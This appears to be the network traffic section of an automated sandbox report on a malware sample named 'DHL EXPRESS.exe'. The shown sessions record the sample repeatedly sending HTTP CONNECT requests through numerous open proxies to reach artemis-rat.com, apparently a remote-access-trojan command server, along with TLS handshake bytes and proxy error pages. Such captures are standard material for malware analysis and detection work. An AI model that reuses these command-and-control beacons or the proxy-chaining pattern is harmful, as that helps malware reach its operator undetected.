Mar 11, 2024 18:36:45.895632029 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.3 Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.8	50333	54.152.3.36	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.461296082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.678447008 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:45.679048061 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2c 7a ff a8 cb 58 e1 63 6a 69 0b 79 c9 b0 91 fb c9 f9 11 04 d0 13 1b 88 02 54 78 bd 6e 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA,zXcjiyTxn*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:45.896276951 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 9f 52 11 b6 ab 17 26 16 83 70 8a 70 07 82 4c 98 9b 73 01 15 87 45 95 c9 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9R&ppLsEDOWNGRD0000H010Uartemis-rat.com0240311165804Z260311165804Z010Uartemis-rat.com0"0H0'ias^g\`
Mar 11, 2024 18:36:45.899818897 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 24 3f 71 f4 ce 5c 56 95 d4 8b f3 78 ef f6 d9 54 35 a9 da 6f 02 a6 d5 87 0e 09 24 88 8a 35 79 31 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 2e ad 7f f4 f2 e3 61 a4 2b 9e ac 0c a1 bf 63 16 c1 49 5b 4b c6 Data Ascii: %! $?q\VxT5o$5y1(.a+cI[K90=]
Mar 11, 2024 18:36:46.115293026 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 b0 b7 81 01 5d 29 71 9f 49 95 bb 56 89 f9 45 fc 2d ec d7 7e 6c b6 98 e4 46 7d 75 c8 fa 11 a8 7c d8 9e f8 26 bd 4e 90 7d Data Ascii: (])qIVE-~lF}u\|&N}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.8	50372	189.173.223.225	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.464118958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.971915960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.596957922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.863008976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.456829071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.956796885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.456911087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.819253922 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.8	50440	185.238.228.240	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.464267015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.618838072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.8	50392	198.23.229.203	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.470793962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.8	50448	172.67.209.12	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.477376938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.631536007 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.8	50452	104.20.103.68	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.477822065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.632246971 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.8	50463	104.16.105.142	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.507047892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.661488056 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.8	50173	41.223.232.117	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.507873058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:21.181256056 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.8	50252	45.11.95.165	5034	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.507874012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.8	50399	45.196.151.84	5432	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.507891893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.726378918 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.8	50265	91.202.230.219	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.511034012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.8	50472	104.24.35.152	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.516447067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.671524048 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.8	50378	72.195.114.169	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.525759935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.8	49733	162.241.70.64	49478	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.529840946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.565784931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.566024065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.675401926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.769021034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:21.768804073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.8	50485	104.27.83.183	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.530354977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.684633970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.8	50508	173.245.49.27	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.531783104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.686028957 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.8	50292	139.99.148.90	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.532247066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.253288031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.300026894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.848071098 CET	1286	IN	HTTP/1.1 407 Proxy Authentication Required Server: squid/3.5.20 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3711 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en Proxy-Authenticate: Basic realm="Squid Basic Authentication" X-Cache: MISS from ns547184.ip-139-99-148.net X-Cache-Lookup: NONE from ns547184.ip-139-99-148.net:3128 Via: 1.1 ns547184.ip-139-99-148.net (squid/3.5.20) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 43 61 63 68 65 20 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Cache Access Denied</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free 